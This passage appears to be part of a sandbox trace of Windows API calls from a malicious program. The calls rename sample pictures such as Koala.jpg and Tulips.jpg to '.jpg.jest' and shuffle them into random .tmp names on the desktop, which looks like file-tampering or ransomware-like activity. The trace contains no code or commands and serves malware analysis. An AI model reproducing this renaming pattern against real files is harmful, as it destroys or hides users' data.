lpFilePart=0x18e708*="Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp") returned 0x8e [0128.799] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x18e708*="Jellyfish.jpg") returned 0x36 [0128.799] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xn2pcbd9cqcksajxg-ee_xp9q cm6x1uye801arxuqovtzdcmjmxcqnb kmyer2dqw3bg3476ei_zurbbx5thr1zdzgwtmtvfzcu.tmp")) returned 0 [0128.799] GetLastError () returned 0x2 [0128.799] GetLastError () returned 0x2 [0128.799] SetLastError (dwErrCode=0x2) [0128.799] GetLastError () returned 0x2 [0128.799] SetLastError (dwErrCode=0x2) [0128.799] GetLastError () returned 0x2 [0128.799] SetLastError (dwErrCode=0x2) [0128.800] GetFullPathNameA (in: lpFileName="Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", lpFilePart=0x18e6e4*="Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp") returned 0x8e [0128.800] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xn2pcbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x70326e58, cFileName="cbD9cqCKSajXG-EE_xp9q CM6X1UYe801ARXUqOVtZDcMJmxcqNb KMyER2DQw3bG3476eI_ZurbBx5ThR1ZDzGwTmtvFzcu.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.800] GetLastError () returned 0x2 [0128.800] GetLastError () returned 0x2 [0128.800] SetLastError (dwErrCode=0x2) [0128.800] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.800] CoFreeUnusedLibraries () [0128.801] GetTickCount () returned 0x11529fe [0128.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.801] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.801] GetTickCount () returned 0x11529fe [0128.801] IsWindowVisible (hWnd=0x30268) returned 0 [0128.801] Sleep (dwMilliseconds=0x0) [0128.801] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.jest")) returned 1 [0128.802] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x18e6d8*="Koala.jpg") returned 0x32 [0128.802] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.802] GetLastError () returned 0x2 [0128.803] VarBstrFromR4 (in: fltIn=0x47944653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.65") returned 0x0 [0128.803] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.803] CoFreeUnusedLibraries () [0128.803] GetTickCount () returned 0x1152a0d [0128.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.803] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.803] GetTickCount () returned 0x1152a0d [0128.803] IsWindowVisible (hWnd=0x30268) returned 0 [0128.803] Sleep (dwMilliseconds=0x0) [0128.804] GetFullPathNameA (in: lpFileName="X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", lpFilePart=0x18e708*="X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp") returned 0x8f [0128.804] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x18e708*="Koala.jpg") returned 0x32 [0128.804] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x3 ghymd6mcuqgoo0mh7gcjys-ucolmvfgyj6zwsuuiz3kjyhhx6e0bevyu56baz7dtoya6syxaocu8wjrlaccckvldzuwk4c7w y.tmp")) returned 0 [0128.804] GetLastError () returned 0x2 [0128.804] GetLastError () returned 0x2 [0128.805] SetLastError (dwErrCode=0x2) [0128.805] GetLastError () returned 0x2 [0128.805] SetLastError (dwErrCode=0x2) [0128.805] GetLastError () returned 0x2 [0128.805] SetLastError (dwErrCode=0x2) [0128.805] GetFullPathNameA (in: lpFileName="X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", lpFilePart=0x18e6e4*="X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp") returned 0x8f [0128.805] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\X3 GHymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x47203358, cFileName="HymD6mCUQgoO0Mh7GcJYS-UcOLmvfGYj6zWsUuiZ3KjYHhx6E0bevyu56Baz7DtoYa6syXAoCu8WJrlACcCkVLdZuwK4c7w Y.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.805] GetLastError () returned 0x2 [0128.805] GetLastError () returned 0x2 [0128.805] SetLastError (dwErrCode=0x2) [0128.806] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.806] CoFreeUnusedLibraries () [0128.806] GetTickCount () returned 0x1152a0d [0128.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.806] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.806] GetTickCount () returned 0x1152a0d [0128.806] IsWindowVisible (hWnd=0x30268) returned 0 [0128.806] Sleep (dwMilliseconds=0x0) [0128.806] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.jest")) returned 1 [0128.807] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x18e6d8*="Lighthouse.jpg") returned 0x37 [0128.807] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.808] GetLastError () returned 0x2 [0128.808] VarBstrFromR4 (in: fltIn=0x47944653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.65") returned 0x0 [0128.808] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.808] CoFreeUnusedLibraries () [0128.808] GetTickCount () returned 0x1152a0d [0128.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.808] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.808] GetTickCount () returned 0x1152a0d [0128.808] IsWindowVisible (hWnd=0x30268) returned 0 [0128.809] Sleep (dwMilliseconds=0x0) [0128.809] GetFullPathNameA (in: lpFileName="WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", lpFilePart=0x18e708*="WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp") returned 0x8e [0128.809] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x18e708*="Lighthouse.jpg") returned 0x37 [0128.810] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wxlc_g8dor1dsybablydw9v2cjfwexwfohbor 7vzfrkbylg0lpi3og2zoarxzk- do__qjinklwsjsvnwhjyggiph3ydgbvr1j4.tmp")) returned 0 [0128.810] GetLastError () returned 0x2 [0128.810] GetLastError () returned 0x2 [0128.810] SetLastError (dwErrCode=0x2) [0128.810] GetLastError () returned 0x2 [0128.810] SetLastError (dwErrCode=0x2) [0128.810] GetLastError () returned 0x2 [0128.810] SetLastError (dwErrCode=0x2) [0128.810] GetFullPathNameA (in: lpFileName="WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", lpFilePart=0x18e6e4*="WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp") returned 0x8e [0128.810] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WXlc_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x636c5857, cFileName="_g8Dor1DsYBABlYDw9V2cJfWEXwfOhBor 7vZfRkBYLG0lPi3og2ZOARXZK- dO__QJiNklwsJSVNwhjYGGiph3yDgBvr1J4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.810] GetLastError () returned 0x2 [0128.810] GetLastError () returned 0x2 [0128.810] SetLastError (dwErrCode=0x2) [0128.811] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.811] CoFreeUnusedLibraries () [0128.811] GetTickCount () returned 0x1152a0d [0128.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.811] GetTickCount () returned 0x1152a0d [0128.811] IsWindowVisible (hWnd=0x30268) returned 0 [0128.811] Sleep (dwMilliseconds=0x0) [0128.812] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.jest")) returned 1 [0128.812] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x18e6d8*="Penguins.jpg") returned 0x35 [0128.813] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.813] GetLastError () returned 0x2 [0128.813] VarBstrFromR4 (in: fltIn=0x47944653, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.65") returned 0x0 [0128.813] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.813] CoFreeUnusedLibraries () [0128.813] GetTickCount () returned 0x1152a0d [0128.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.813] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.814] GetTickCount () returned 0x1152a0d [0128.814] IsWindowVisible (hWnd=0x30268) returned 0 [0128.814] Sleep (dwMilliseconds=0x0) [0128.814] GetFullPathNameA (in: lpFileName="g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", lpFilePart=0x18e708*="g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp") returned 0x8e [0128.814] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x18e708*="Penguins.jpg") returned 0x35 [0128.815] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g0v6jlrdolozx_jhadqhwxlzw516glbftpfkj4pxiojl8x_oww6yujg7-0cussf0lrq3w_i0kwkrbqgz62ajh-6vednqwypbfx f.tmp")) returned 0 [0128.815] GetLastError () returned 0x2 [0128.815] GetLastError () returned 0x2 [0128.815] SetLastError (dwErrCode=0x2) [0128.815] GetLastError () returned 0x2 [0128.815] SetLastError (dwErrCode=0x2) [0128.815] GetLastError () returned 0x2 [0128.815] SetLastError (dwErrCode=0x2) [0128.815] GetFullPathNameA (in: lpFileName="g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", lpFilePart=0x18e6e4*="g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp") returned 0x8e [0128.815] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g0v6JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x36763067, cFileName="JLRdOlozX_jHAdqHwxLZw516glbFtpFKJ4pxioJl8x_OWw6yUJG7-0CUssF0lrQ3W_i0kwKrBqGZ62AJH-6VeDNQwYpBFx F.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0128.816] GetLastError () returned 0x2 [0128.816] GetLastError () returned 0x2 [0128.816] SetLastError (dwErrCode=0x2) [0128.816] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.816] CoFreeUnusedLibraries () [0128.816] GetTickCount () returned 0x1152a0d [0128.816] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.816] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.816] GetTickCount () returned 0x1152a0d [0128.816] IsWindowVisible (hWnd=0x30268) returned 0 [0128.816] Sleep (dwMilliseconds=0x0) [0128.817] MoveFileA (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.jest" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.jest")) returned 1 [0128.819] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x18e6d8*="Tulips.jpg") returned 0x33 [0128.819] FindFirstFileA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0128.819] GetLastError () returned 0x2 [0128.820] VarBstrFromR4 (in: fltIn=0x47944655, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.66") returned 0x0 [0128.820] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.820] CoFreeUnusedLibraries () [0128.820] GetTickCount () returned 0x1152a1d [0128.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.820] GetTickCount () returned 0x1152a1d [0128.820] IsWindowVisible (hWnd=0x30268) returned 0 [0128.820] Sleep (dwMilliseconds=0x0) [0128.821] GetFullPathNameA (in: lpFileName="5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp", lpFilePart=0x18e708*="5HQMWXRMImdv69x75kyq4Ff5i6rZo2d3kUgcBswL6Zm2zqrl45O K DFE9upKVip391QtKQfCPEDVgUSJW3lQXHjnQJyugHDh2uwG.tmp") returned 0x8f [0128.821] GetFullPathNameA (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x104, 